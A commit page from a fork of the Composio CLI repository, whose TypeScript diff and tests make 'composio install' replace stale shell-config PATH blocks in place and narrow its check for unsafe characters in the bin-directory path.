@devries-cameron20 / composio-1 / commits / 745bd67ce
Fork 0

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

fix(cli): make composio install reconcile stale managed blocks

Three changes to the PATH writer, all around the same failure mode: the command reporting success while leaving a shell unable to find composio. - The unsafe-path denylist rejected characters that are literal inside the double quotes the bin dir is always written in. Keep only what bash, zsh, and fish still expand there, plus newline and the PATH separator, which are structural. /Users/o'brien/.composio now works. - A file carrying the marker was treated as configured forever, so the legacy three-line block written by install.sh's fallback or by an older CLI was never migrated. Skip only on the exact rendered PATH line for the resolved bin dir; otherwise splice the current block over the stale one in place. - The reachability skip used the invoking process's $PATH as evidence about future shells, so an ad-hoc export or a mise/direnv shim made the command persist nothing and exit 0. A redundant PATH line is harmless, and the content check already prevents duplicates. installShellIntegration no longer takes an execPath override; it always reads NodeProcess, and tests thread their exec path through the test layer instead.

jkomyno committed Aug 4, 2026 at 19:16 UTC 745bd67cefd08f85e937579162f780786ca96b96
3 files changed +408 -143
ts/packages/cli/src/commands/install.cmd.ts
+147 -49
@@ -50,6 +50,7 @@ interface ShellConfig {
50 readonly shell: Shell;
51 readonly pathFiles: readonly string[];
52 readonly completionFile: string;
53 + readonly pathLine: string;
54 readonly pathBlock: string;
55 readonly completionBlock: string | undefined;
56 }
@@ -61,8 +62,24 @@ interface ShellConfig {
62 const MARKER = '# Composio CLI';
63 const COMPLETIONS_MARKER = '# Composio CLI completions';
64
64 -/** Reject bin-dir paths containing shell metacharacters to prevent injection into rc files. */
65 -const UNSAFE_PATH_CHARS = /[:;`$|&"'()\n\r\\]/;
65 +/**
66 + * Reject bin-dir paths that cannot be embedded safely in a managed rc line.
67 + *
68 + * The resolved dir is only ever emitted inside double quotes — `export
69 + * PATH="<dir>:$PATH"` for bash/zsh and `set --export PATH "<dir>" $PATH` for
70 + * fish — so the set is deliberately narrow:
71 + *
72 + * - `` ` ``, `$`, `\`, `"`: the only characters bash and zsh still expand
73 + * inside double quotes (`!` history expansion does not apply to sourced
74 + * files). fish expands a strict subset of those. Everything else — `;`, `|`,
75 + * `&`, `(`, `)`, `'` — is literal there, so a path like
76 + * `/Users/o'brien/.composio` is written verbatim rather than rejected.
77 + * - `\n`, `\r`: structural, not a quoting concern — either would split the
78 + * managed block into extra rc lines.
79 + * - `:`: structural too, as the PATH separator: a dir containing one would
80 + * silently prepend more than one entry.
81 + */
82 +const UNSAFE_PATH_CHARS = /[`$"\\\n\r:]/;
83 const isUnsafePath = (p: string): boolean => UNSAFE_PATH_CHARS.test(p);
84
85 // SHELL, PATH, and COMPOSIO_BIN_DIR are read from the literal environment: SHELL
@@ -145,13 +162,16 @@ const renderWithHome = (dir: string, homedir: string): string =>
162 ? `$HOME/${dir.slice(homedir.length + 1)}`
163 : dir;
164
148 -const pathBlockForShell = (shell: Shell, binDir: string, homedir: string): string => {
165 +const pathLineForShell = (shell: Shell, binDir: string, homedir: string): string => {
166 const rendered = renderWithHome(binDir, homedir);
167 return shell === 'fish'
151 - ? [MARKER, `set --export PATH "${rendered}" $PATH`].join('\n')
152 - : [MARKER, `export PATH="${rendered}:$PATH"`].join('\n');
168 + ? `set --export PATH "${rendered}" $PATH`
169 + : `export PATH="${rendered}:$PATH"`;
170 };
171
172 +const pathBlockForShell = (shell: Shell, binDir: string, homedir: string): string =>
173 + [MARKER, pathLineForShell(shell, binDir, homedir)].join('\n');
174 +
175 /** Bash startup-file candidates that only bash's login mode reads, in read order. */
176 const bashLoginOverrideCandidates = (path: Path.Path, homedir: string): string[] => [
177 path.join(homedir, '.bash_profile'),
@@ -216,6 +236,7 @@ const buildShellConfig = (
236 shell === 'fish'
237 ? path.join(homedir, '.config', 'fish', 'completions', 'composio.fish')
238 : pathFiles[0]!,
239 + pathLine: pathLineForShell(shell, binDir, homedir),
240 pathBlock: pathBlockForShell(shell, binDir, homedir),
241 completionBlock: completionScript ? `${COMPLETIONS_MARKER}\n${completionScript}` : undefined,
242 });
@@ -224,6 +245,38 @@ const buildShellConfig = (
245 const fileContains = (contents: string, marker: string): boolean =>
246 contents.split('\n').some(line => line.trim() === marker.trim());
247
248 +/**
249 + * Splice the current managed PATH block over the one already in `contents`.
250 + *
251 + * The managed block runs from its `# Composio CLI` marker line up to the first
252 + * blank line, the completions marker, or end of file — the exact layout both
253 + * this command and install.sh's inline fallback produce, since blocks are
254 + * always separated by a blank line. That is what lets a legacy three-line block
255 + * (`export COMPOSIO_INSTALL_DIR=...` plus a PATH line derived from it) be
256 + * migrated to the current single-line form without touching a completions block
257 + * further down the file.
258 + *
259 + * Returns `None` when the file carries no marker at all, so the caller appends.
260 + */
261 +const replaceManagedPathBlock = (contents: string, block: string): Option.Option<string> => {
262 + const lines = contents.split('\n');
263 + const isBlockEnd = (line: string): boolean =>
264 + line.trim() === '' || line.trim() === COMPLETIONS_MARKER;
265 +
266 + return Arr.findFirstIndex(lines, line => line.trim() === MARKER).pipe(
267 + Option.map(markerIndex => {
268 + const endIndex = Arr.findFirstIndex(Arr.drop(lines, markerIndex + 1), isBlockEnd).pipe(
269 + Option.map(offset => markerIndex + 1 + offset),
270 + Option.getOrElse(() => lines.length)
271 + );
272 + return Arr.appendAll(
273 + Arr.appendAll(Arr.take(lines, markerIndex), block.split('\n')),
274 + Arr.drop(lines, endIndex)
275 + ).join('\n');
276 + })
277 + );
278 +};
279 +
280 const tildify = (p: string, homedir: string): string =>
281 p.startsWith(homedir + '/') ? `~/${p.slice(homedir.length + 1)}` : p;
282
@@ -275,13 +328,53 @@ const replaceFilePreservingMode = (
328 yield* fs.rename(tmpPath, writeTarget);
329 });
330
331 +/**
332 + * Apply one rc file's queued changes: a stale managed block is spliced in
333 + * place, everything else is appended at the end.
334 + */
335 +const applyFileChanges = (params: {
336 + readonly filePath: string;
337 + readonly rewritePathBlock: Option.Option<string>;
338 + readonly appendBlocks: ReadonlyArray<string>;
339 + readonly fs: FileSystem.FileSystem;
340 + readonly path: Path.Path;
341 +}): Effect.Effect<void, PlatformError> =>
342 + Effect.gen(function* () {
343 + const { filePath, fs, path } = params;
344 +
345 + // Re-read instead of reusing the pre-check snapshot: two configured paths
346 + // can alias the same physical file through symlinks, and this write must
347 + // not discard a previous iteration's append.
348 + const existingContents = yield* readMaybeMissingFile(filePath, fs);
349 + const writeTarget = yield* resolveWriteTarget(filePath, fs);
350 +
351 + yield* fs
352 + .makeDirectory(path.dirname(writeTarget), { recursive: true })
353 + .pipe(
354 + Effect.catchAll(e =>
355 + Effect.logDebug('Could not create parent directory (may already exist):', e)
356 + )
357 + );
358 +
359 + const migrated = Option.match(params.rewritePathBlock, {
360 + onNone: () => existingContents,
361 + onSome: block =>
362 + Option.getOrElse(replaceManagedPathBlock(existingContents, block), () => existingContents),
363 + });
364 + const contents =
365 + params.appendBlocks.length > 0
366 + ? migrated + '\n' + params.appendBlocks.join('\n\n') + '\n'
367 + : migrated;
368 +
369 + yield* replaceFilePreservingMode(writeTarget, contents, fs);
370 + });
371 +
372 // ---------------------------------------------------------------------------
373 // Exported logic (reusable from install.sh post-install delegation)
374 // ---------------------------------------------------------------------------
375
376 export const installShellIntegration = (params: {
377 readonly completions: boolean;
284 - readonly execPath?: string;
378 readonly shell?: Shell;
379 }): Effect.Effect<
380 void,
@@ -315,7 +408,7 @@ export const installShellIntegration = (params: {
408 // that is this executable, then the runtime executable's own directory.
409 const envBinDir = yield* readOptionalEnv('COMPOSIO_BIN_DIR');
410 const localBinDir = path.join(os.homedir, '.local', 'bin');
318 - const execPath = params.execPath ?? nodeProcess.execPath;
411 + const execPath = nodeProcess.execPath;
412 const localBinComposioIsCurrentExecutable = yield* resolvesToCurrentExecutable(
413 path.join(localBinDir, 'composio'),
414 execPath,
@@ -346,7 +439,6 @@ export const installShellIntegration = (params: {
439 return yield* new ShellSetupAbortError({ message });
440 }
441
349 - const isExplicitShell = params.shell !== undefined;
442 const shellEnv = yield* readEnvWithDefault('SHELL', '');
443 const shell = params.shell ?? detectShellFromEnv(path, shellEnv);
444
@@ -354,8 +446,13 @@ export const installShellIntegration = (params: {
446 const binDirOnPath = isDirOnPath(pathEnv, binDir);
447
448 if (!shell) {
449 + // With no shell there is no rc file to write, so the current process's
450 + // $PATH is all the evidence available. It says nothing about future
451 + // shells, hence the deliberately hedged wording.
452 if (binDirOnPath) {
358 - yield* success(`PATH: ${tildify(binDir, os.homedir)} is already on $PATH — nothing to do.`);
453 + yield* success(
454 + `PATH: ${tildify(binDir, os.homedir)} is already on $PATH in this process, and no shell config file could be identified — nothing to update.`
455 + );
456 yield* ui.outro('Done');
457 return;
458 }
@@ -417,31 +514,27 @@ export const installShellIntegration = (params: {
514 }
515 };
516
420 - // Auto-detected mode may skip the PATH write entirely when the bin dir is
421 - // already reachable; an explicit --shell always configures its files.
422 - // Only applies to a genuinely fresh install: if any target file already
423 - // carries our marker from a prior run, a file that appeared since then
424 - // (e.g. a freshly created .bash_profile) still needs its own write, even
425 - // though the invoking process's current $PATH already resolves.
426 - const anyPathFileAlreadyMarked = config.pathFiles.some(filePath =>
427 - fileContains(existingByFile.get(filePath) ?? '', MARKER)
428 - );
429 - const skipPathWriteForReachability =
430 - !isExplicitShell && binDirOnPath && !anyPathFileAlreadyMarked;
517 + // Path files whose existing managed block is stale and must be replaced in
518 + // place rather than appended to.
519 + const pathRewrites = new Set<string>();
520 let pathWritten = false;
521 let loginOverrideWritten = false;
522 const queuedPathTargets = new Set<string>();
523 for (const filePath of config.pathFiles) {
524 const existing = existingByFile.get(filePath) ?? '';
525 const target = pathFileTargets.get(filePath)!;
437 - if (
438 - fileContains(existing, MARKER) ||
439 - skipPathWriteForReachability ||
440 - queuedPathTargets.has(target)
441 - ) {
442 - continue;
526 + if (queuedPathTargets.has(target)) continue;
527 + // The marker alone does not mean "configured": a block written by a
528 + // pre-`--shell` CLI or by install.sh's inline fallback still carries the
529 + // legacy `export COMPOSIO_INSTALL_DIR=` pair, and a block written for a
530 + // different bin dir points shells at the wrong binary. Only the exact
531 + // rendered line for the resolved bin dir is a no-op.
532 + if (fileContains(existing, config.pathLine)) continue;
533 + if (fileContains(existing, MARKER)) {
534 + pathRewrites.add(filePath);
535 + } else {
536 + pushBlock(filePath, config.pathBlock);
537 }
444 - pushBlock(filePath, config.pathBlock);
538 queuedPathTargets.add(target);
539 pathWritten = true;
540 if (filePath === bashLoginOverride) loginOverrideWritten = true;
@@ -449,8 +542,6 @@ export const installShellIntegration = (params: {
542
543 if (pathWritten) {
544 yield* step(`PATH: will add ${tildify(binDir, os.homedir)} to $PATH`);
452 - } else if (skipPathWriteForReachability) {
453 - yield* step('PATH: already on $PATH — nothing to do.');
545 } else {
546 yield* step('PATH: already configured');
547 }
@@ -475,24 +566,21 @@ export const installShellIntegration = (params: {
566 }
567 }
568
478 - if (blocksByFile.size > 0) {
479 - for (const [filePath, blocks] of blocksByFile.entries()) {
480 - // Re-read instead of reusing the pre-check snapshot: two configured paths
481 - // can alias the same physical file through symlinks, and this write must
482 - // not discard a previous iteration's append.
483 - const existingContents = yield* readMaybeMissingFile(filePath, fs);
484 - const writeTarget = yield* resolveWriteTarget(filePath, fs);
485 -
486 - yield* fs
487 - .makeDirectory(path.dirname(writeTarget), { recursive: true })
488 - .pipe(
489 - Effect.catchAll(e =>
490 - Effect.logDebug('Could not create parent directory (may already exist):', e)
491 - )
492 - );
493 -
494 - const appendContent = '\n' + blocks.join('\n\n') + '\n';
495 - yield* replaceFilePreservingMode(writeTarget, existingContents + appendContent, fs);
569 + const filesToWrite = [...new Set([...pathRewrites, ...blocksByFile.keys()])];
570 +
571 + if (filesToWrite.length > 0) {
572 + for (const filePath of filesToWrite) {
573 + // A stale managed block is replaced where it stands, so the user's own
574 + // ordering survives; everything else is appended.
575 + yield* applyFileChanges({
576 + filePath,
577 + rewritePathBlock: pathRewrites.has(filePath)
578 + ? Option.some(config.pathBlock)
579 + : Option.none(),
580 + appendBlocks: blocksByFile.get(filePath) ?? [],
581 + fs,
582 + path,
583 + });
584
585 yield* success(`Updated ${tildify(filePath, os.homedir)}`);
586 }
@@ -500,7 +588,7 @@ export const installShellIntegration = (params: {
588 yield* success('Shell integration already configured — nothing to do.');
589 }
590
503 - if (blocksByFile.size > 0) {
591 + if (filesToWrite.length > 0) {
592 if (shell === 'fish') {
593 yield* note('exec fish', 'Restart your shell to apply changes');
594 } else if (shell === 'zsh') {
@@ -530,12 +618,18 @@ export const installShellIntegration = (params: {
618 /**
619 * CLI command to set up shell integration (PATH and completions).
620 *
621 + * The directory added to `PATH` is `COMPOSIO_BIN_DIR` when set — the documented
622 + * override an installer hands to this command — then `~/.local/bin` when its
623 + * `composio` entry point is this executable, then the running binary's own
624 + * directory.
625 + *
626 * @example
627 * ```bash
628 * composio install
629 * composio install --completions
630 * composio install --no-completions
631 * composio install --shell zsh
632 + * COMPOSIO_BIN_DIR=~/.local/bin composio install
633 * ```
634 */
635 export const installCmd = Command.make(
@@ -546,4 +640,8 @@ export const installCmd = Command.make(
640 completions: completions && !noCompletions,
641 shell: Option.getOrUndefined(shell),
642 })
549 -).pipe(Command.withDescription('Set up shell integration (PATH and completions).'));
643 +).pipe(
644 + Command.withDescription(
645 + 'Set up shell integration (PATH and completions). Set COMPOSIO_BIN_DIR to choose the directory added to PATH; it otherwise defaults to ~/.local/bin when that holds this executable, and to the directory of the running binary.'
646 + )
647 +);
ts/packages/cli/test/__utils__/services/test-layer.ts
+11 -1
@@ -208,6 +208,16 @@ export interface TestLiveInput {
208 * When set, replaces the default TerminalUITest (which auto-selects first option).
209 */
210 terminalUI?: TerminalUI;
211 +
212 + /**
213 + * Override the running-executable path reported by `NodeProcess`.
214 + *
215 + * Declared as a function of the per-test home directory because that
216 + * directory is a fresh temp dir created while the layer is being built, so a
217 + * scenario that needs an exec path underneath it (e.g. `~/.local/bin/composio`)
218 + * cannot spell it out up front. Defaults to `<homedir>/composio`.
219 + */
220 + execPath?: (homedir: string) => string;
221 }
222
223 /**
@@ -805,7 +815,7 @@ export const TestLayer = (input?: TestLiveInput) =>
815 NodeProcess,
816 new NodeProcess({
817 cwd,
808 - execPath: path.join(cwd, 'composio'),
818 + execPath: input?.execPath?.(cwd) ?? path.join(cwd, 'composio'),
819 platform: 'darwin',
820 arch: 'arm64',
821 })
ts/packages/cli/test/src/commands/install.cmd.test.ts
+250 -93
@@ -12,6 +12,7 @@ import {
12 } from 'src/commands/install.cmd';
13 import { makeTerminalUI } from 'src/services/terminal-ui';
14 import { cli, TestLive, MockConsole } from 'test/__utils__';
15 +import type { TestLiveInput } from 'test/__utils__/services/test-layer';
16
17 const makeSink = (isTTY: boolean) => {
18 const chunks: string[] = [];
@@ -39,16 +40,23 @@ const capturedStderrUI = makeTerminalUI({
40 const SAFE_PATH = '/usr/bin:/bin';
41 const TEST_EXEC_PATH = '/usr/local/bin/composio';
42 const expectedRuntimeBinDir = (): string => path.dirname(TEST_EXEC_PATH);
43 +
44 +/**
45 + * `installShellIntegration` reads the running executable from `NodeProcess`, so
46 + * a scenario picks its exec path when it builds the layer, not when it calls
47 + * the command.
48 + */
49 +const TestInstallLive = (input: TestLiveInput = {}) =>
50 + TestLive({ execPath: () => TEST_EXEC_PATH, ...input });
51 +
52 const install = (
53 params: {
54 readonly completions?: boolean;
45 - readonly execPath?: string;
55 readonly shell?: Shell;
56 } = {}
57 ) =>
58 installShellIntegration({
59 completions: params.completions ?? false,
51 - execPath: params.execPath ?? TEST_EXEC_PATH,
60 shell: params.shell,
61 });
62
@@ -73,7 +81,7 @@ describe('CLI: composio install', () => {
81 });
82
83 describe('[When] shell is zsh', () => {
76 - layer(TestLive())(it => {
84 + layer(TestInstallLive())(it => {
85 it.scoped('[Then] creates .zshrc with PATH only by default', () =>
86 Effect.gen(function* () {
87 const os = yield* NodeOs;
@@ -125,7 +133,7 @@ describe('CLI: composio install', () => {
133 });
134
135 describe('[When] shell is bash', () => {
128 - layer(TestLive())(it => {
136 + layer(TestInstallLive())(it => {
137 it.scoped('[Then] creates .bashrc with PATH only by default', () =>
138 Effect.gen(function* () {
139 const os = yield* NodeOs;
@@ -148,7 +156,7 @@ describe('CLI: composio install', () => {
156 });
157
158 describe('[When] bash has neither .bash_profile nor .bash_login', () => {
151 - layer(TestLive())(it => {
159 + layer(TestInstallLive())(it => {
160 it.scoped('[Then] only .bashrc is created', () =>
161 Effect.gen(function* () {
162 const os = yield* NodeOs;
@@ -166,7 +174,7 @@ describe('CLI: composio install', () => {
174 });
175
176 describe('[When] bash has an existing .bash_profile', () => {
169 - layer(TestLive())(it => {
177 + layer(TestInstallLive())(it => {
178 it.scoped(
179 '[Then] the PATH block also lands in .bash_profile, and the restart hint mentions it',
180 () =>
@@ -197,7 +205,7 @@ describe('CLI: composio install', () => {
205 });
206
207 describe('[When] bash updates a private .bash_profile', () => {
200 - layer(TestLive())(it => {
208 + layer(TestInstallLive())(it => {
209 it.scoped('[Then] preserves its existing file mode', () =>
210 Effect.gen(function* () {
211 const os = yield* NodeOs;
@@ -219,7 +227,7 @@ describe('CLI: composio install', () => {
227 });
228
229 describe('[When] bash has only .bash_login (no .bash_profile)', () => {
222 - layer(TestLive())(it => {
230 + layer(TestInstallLive())(it => {
231 it.scoped('[Then] the PATH block also lands in .bash_login', () =>
232 Effect.gen(function* () {
233 const os = yield* NodeOs;
@@ -247,7 +255,7 @@ describe('CLI: composio install', () => {
255 });
256
257 describe('[When] bash has both .bash_profile and .bash_login', () => {
250 - layer(TestLive())(it => {
258 + layer(TestInstallLive())(it => {
259 it.scoped('[Then] only .bash_profile receives the login PATH block', () =>
260 Effect.gen(function* () {
261 const os = yield* NodeOs;
@@ -271,7 +279,7 @@ describe('CLI: composio install', () => {
279 });
280
281 describe('[When] .bash_profile is symlinked to the same file as .bashrc', () => {
274 - layer(TestLive())(it => {
282 + layer(TestInstallLive())(it => {
283 it.scoped('[Then] the PATH block is written exactly once, not once per alias', () =>
284 Effect.gen(function* () {
285 const os = yield* NodeOs;
@@ -297,11 +305,12 @@ describe('CLI: composio install', () => {
305 });
306
307 describe('[When] shell is fish', () => {
300 - layer(TestLive())(it => {
308 + layer(TestInstallLive())(it => {
309 it.scoped('[Then] creates config.fish with PATH only by default', () =>
310 Effect.gen(function* () {
311 const os = yield* NodeOs;
312 vi.stubEnv('SHELL', '/usr/bin/fish');
313 + const expectedBinDir = expectedRuntimeBinDir();
314
315 yield* install();
316
@@ -311,7 +320,7 @@ describe('CLI: composio install', () => {
320
321 expect(contents).toContain('# Composio CLI');
322 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
314 - expect(contents).toContain('set --export PATH');
323 + expect(contents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);
324 expect(contents).not.toContain('# Composio CLI completions');
325 })
326 );
@@ -319,7 +328,7 @@ describe('CLI: composio install', () => {
328 });
329
330 describe('[When] --completions is passed', () => {
322 - layer(TestLive())(it => {
331 + layer(TestInstallLive())(it => {
332 it.scoped('[Then] writes PATH block and installs completions', () =>
333 Effect.gen(function* () {
334 const os = yield* NodeOs;
@@ -343,13 +352,14 @@ describe('CLI: composio install', () => {
352 });
353
354 describe('[When] fish shell installs completions', () => {
346 - layer(TestLive())(it => {
355 + layer(TestInstallLive())(it => {
356 it.scoped(
357 '[Then] keeps PATH setup in config.fish and writes completions to composio.fish',
358 () =>
359 Effect.gen(function* () {
360 const os = yield* NodeOs;
361 vi.stubEnv('SHELL', '/usr/bin/fish');
362 + const expectedBinDir = expectedRuntimeBinDir();
363
364 yield* install({ completions: true });
365
@@ -366,7 +376,7 @@ describe('CLI: composio install', () => {
376 const completionContents = yield* fs.readFileString(completionPath);
377
378 expect(configContents).toContain('# Composio CLI');
369 - expect(configContents).toContain('set --export PATH');
379 + expect(configContents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);
380 expect(configContents).not.toContain('# Composio CLI completions');
381
382 expect(completionContents).toContain('# Composio CLI completions');
@@ -383,7 +393,7 @@ describe('CLI: composio install', () => {
393 });
394
395 describe('[When] fish config and completions are symlinked to the same file', () => {
386 - layer(TestLive())(it => {
396 + layer(TestInstallLive())(it => {
397 it.scoped('[Then] keeps both PATH and completions blocks', () =>
398 Effect.gen(function* () {
399 const os = yield* NodeOs;
@@ -419,7 +429,7 @@ describe('CLI: composio install', () => {
429 });
430
431 describe('[When] fish shell installs completions twice', () => {
422 - layer(TestLive())(it => {
432 + layer(TestInstallLive())(it => {
433 it.scoped('[Then] keeps config.fish and composio.fish idempotent', () =>
434 Effect.gen(function* () {
435 const os = yield* NodeOs;
@@ -455,16 +465,16 @@ describe('CLI: composio install', () => {
465 });
466
467 describe('[When] --no-completions is passed', () => {
458 - layer(TestLive())(it => {
468 + layer(TestInstallLive())(it => {
469 it.scoped('[Then] writes PATH block but skips completions', () =>
470 Effect.gen(function* () {
471 const os = yield* NodeOs;
462 - vi.stubEnv('SHELL', '/bin/zsh');
472 + vi.stubEnv('SHELL', '/bin/bash');
473
464 - yield* install();
474 + yield* cli(['install', '--no-completions']);
475
476 const fs = yield* FileSystem.FileSystem;
467 - const rcPath = path.join(os.homedir, '.zshrc');
477 + const rcPath = path.join(os.homedir, '.bashrc');
478 const contents = yield* fs.readFileString(rcPath);
479
480 expect(contents).toContain('# Composio CLI');
@@ -472,14 +482,34 @@ describe('CLI: composio install', () => {
482
483 const lines = yield* MockConsole.getLines();
484 const output = lines.join('\n');
475 - expect(output).toContain('Completions: skipped for zsh');
485 + expect(output).toContain('Completions: skipped by default');
486 + })
487 + );
488 + });
489 + });
490 +
491 + describe('[When] --shell and --completions are combined on the public CLI', () => {
492 + layer(TestInstallLive())(it => {
493 + it.scoped('[Then] the overridden shell gets both the PATH block and completions', () =>
494 + Effect.gen(function* () {
495 + const os = yield* NodeOs;
496 + const fs = yield* FileSystem.FileSystem;
497 + vi.stubEnv('SHELL', '/bin/zsh');
498 + const expectedBinDir = expectedRuntimeBinDir();
499 +
500 + yield* cli(['install', '--shell', 'bash', '--completions']);
501 +
502 + const contents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
503 + expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
504 + expect(contents).toContain('# Composio CLI completions');
505 + expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
506 })
507 );
508 });
509 });
510
511 describe('[When] install is run twice (idempotency)', () => {
482 - layer(TestLive())(it => {
512 + layer(TestInstallLive())(it => {
513 it.scoped('[Then] does not duplicate entries', () =>
514 Effect.gen(function* () {
515 const os = yield* NodeOs;
@@ -505,20 +535,19 @@ describe('CLI: composio install', () => {
535 });
536 });
537
508 - describe('[When] .zshrc already has the marker', () => {
509 - layer(TestLive())(it => {
510 - it.scoped('[Then] reports already configured', () =>
538 + describe('[When] .zshrc already has the current managed PATH line', () => {
539 + layer(TestInstallLive())(it => {
540 + it.scoped('[Then] reports already configured and leaves the file untouched', () =>
541 Effect.gen(function* () {
542 const os = yield* NodeOs;
543 const fs = yield* FileSystem.FileSystem;
544 vi.stubEnv('SHELL', '/bin/zsh');
545 + const expectedBinDir = expectedRuntimeBinDir();
546
516 - // Pre-populate .zshrc with existing config
547 + // Pre-populate .zshrc with the exact block a previous run would write.
548 const rcPath = path.join(os.homedir, '.zshrc');
518 - yield* fs.writeFileString(
519 - rcPath,
520 - '# existing config\n# Composio CLI\nexport PATH="$HOME/.local/bin:$PATH"\n# Composio CLI completions\n_composio() {}\n'
521 - );
549 + const existing = `# existing config\n\n# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n\n# Composio CLI completions\n_composio() {}\n`;
550 + yield* fs.writeFileString(rcPath, existing);
551
552 yield* install({ completions: true });
553
@@ -528,17 +557,122 @@ describe('CLI: composio install', () => {
557 expect(output).toContain('Completions: skipped for zsh');
558 expect(output).toContain('Shell integration already configured');
559
531 - // File should not have grown
560 + expect(yield* fs.readFileString(rcPath)).toBe(existing);
561 + })
562 + );
563 + });
564 + });
565 +
566 + describe('[When] an rc file carries the legacy install.sh managed block', () => {
567 + layer(TestInstallLive())(it => {
568 + it.scoped('[Then] the stale block is migrated in place, not left or duplicated', () =>
569 + Effect.gen(function* () {
570 + const os = yield* NodeOs;
571 + const fs = yield* FileSystem.FileSystem;
572 + vi.stubEnv('SHELL', '/bin/zsh');
573 + const expectedBinDir = expectedRuntimeBinDir();
574 +
575 + const rcPath = path.join(os.homedir, '.zshrc');
576 + yield* fs.writeFileString(
577 + rcPath,
578 + [
579 + '# user config above',
580 + '',
581 + '# Composio CLI',
582 + 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
583 + 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
584 + '',
585 + '# user config below',
586 + '',
587 + ].join('\n')
588 + );
589 +
590 + yield* install();
591 +
592 const contents = yield* fs.readFileString(rcPath);
533 - const markerCount = contents.split('# Composio CLI').length - 1;
534 - expect(markerCount).toBe(2);
593 + expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
594 + expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
595 + expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
596 + // The block is replaced where it stood: the user's own lines keep
597 + // their relative order around it.
598 + expect(contents.indexOf('# user config above')).toBeLessThan(
599 + contents.indexOf('# Composio CLI')
600 + );
601 + expect(contents.indexOf('# Composio CLI')).toBeLessThan(
602 + contents.indexOf('# user config below')
603 + );
604 +
605 + const output = (yield* MockConsole.getLines()).join('\n');
606 + expect(output).toContain('PATH: will add');
607 + })
608 + );
609 + });
610 + });
611 +
612 + describe('[When] a legacy block sits above an existing completions block', () => {
613 + layer(TestInstallLive())(it => {
614 + it.scoped('[Then] migrating the PATH block leaves the completions block intact', () =>
615 + Effect.gen(function* () {
616 + const os = yield* NodeOs;
617 + const fs = yield* FileSystem.FileSystem;
618 + vi.stubEnv('SHELL', '/bin/bash');
619 + const expectedBinDir = expectedRuntimeBinDir();
620 +
621 + const rcPath = path.join(os.homedir, '.bashrc');
622 + yield* fs.writeFileString(
623 + rcPath,
624 + [
625 + '# Composio CLI',
626 + 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
627 + 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
628 + '',
629 + '# Composio CLI completions',
630 + '_composio_completions() { :; }',
631 + '',
632 + ].join('\n')
633 + );
634 +
635 + yield* install({ completions: true });
636 +
637 + const contents = yield* fs.readFileString(rcPath);
638 + expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
639 + expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
640 + expect(contents).toContain('_composio_completions() { :; }');
641 + expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
642 + expect(contents.match(/^# Composio CLI completions$/gm)?.length ?? 0).toBe(1);
643 + })
644 + );
645 + });
646 + });
647 +
648 + describe('[When] a migrated rc file is installed into a second time', () => {
649 + layer(TestInstallLive())(it => {
650 + it.scoped('[Then] the second run is a no-op', () =>
651 + Effect.gen(function* () {
652 + const os = yield* NodeOs;
653 + const fs = yield* FileSystem.FileSystem;
654 + vi.stubEnv('SHELL', '/bin/zsh');
655 +
656 + const rcPath = path.join(os.homedir, '.zshrc');
657 + yield* fs.writeFileString(
658 + rcPath,
659 + '# Composio CLI\nexport COMPOSIO_INSTALL_DIR="$HOME/.composio"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"\n'
660 + );
661 +
662 + yield* install();
663 + const afterFirst = yield* fs.readFileString(rcPath);
664 + yield* install();
665 + const afterSecond = yield* fs.readFileString(rcPath);
666 +
667 + expect(afterSecond).toBe(afterFirst);
668 + expect(afterSecond.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
669 })
670 );
671 });
672 });
673
674 describe('[When] shell cannot be detected', () => {
541 - layer(TestLive())(it => {
675 + layer(TestInstallLive())(it => {
676 it.scoped('[Then] shows manual setup instructions', () =>
677 Effect.gen(function* () {
678 vi.stubEnv('SHELL', '');
@@ -558,7 +692,7 @@ describe('CLI: composio install', () => {
692 });
693
694 describe('[When] shell cannot be detected but the bin dir is already on $PATH', () => {
561 - layer(TestLive())(it => {
695 + layer(TestInstallLive())(it => {
696 it.scoped('[Then] reports already on PATH instead of asking for manual setup', () =>
697 Effect.gen(function* () {
698 const os = yield* NodeOs;
@@ -583,7 +717,7 @@ describe('CLI: composio install', () => {
717 });
718
719 describe('[When] stderr is captured rather than a terminal', () => {
586 - layer(TestLive({ terminalUI: capturedStderrUI }))(it => {
720 + layer(TestInstallLive({ terminalUI: capturedStderrUI }))(it => {
721 it.scoped('[Then] still reports the rc file and how to reload the shell', () =>
722 Effect.gen(function* () {
723 vi.stubEnv('SHELL', '/bin/zsh');
@@ -614,7 +748,7 @@ describe('CLI: composio install', () => {
748 });
749
750 describe('[When] --shell zsh overrides a conflicting $SHELL', () => {
617 - layer(TestLive())(it => {
751 + layer(TestInstallLive())(it => {
752 it.scoped('[Then] writes ~/.zshrc, not ~/.bashrc', () =>
753 Effect.gen(function* () {
754 const os = yield* NodeOs;
@@ -631,7 +765,7 @@ describe('CLI: composio install', () => {
765 });
766
767 describe('[When] --shell is parsed by the public CLI', () => {
634 - layer(TestLive())(it => {
768 + layer(TestInstallLive())(it => {
769 it.scoped('[Then] a valid override reaches the requested shell integration', () =>
770 Effect.gen(function* () {
771 const os = yield* NodeOs;
@@ -648,7 +782,7 @@ describe('CLI: composio install', () => {
782 });
783
784 describe('[When] --shell has an unsupported value', () => {
651 - layer(TestLive())(it => {
785 + layer(TestInstallLive())(it => {
786 it.scoped('[Then] the public CLI rejects it during option parsing', () =>
787 Effect.gen(function* () {
788 const exit = yield* cli(['install', '--shell', 'powershell']).pipe(Effect.exit);
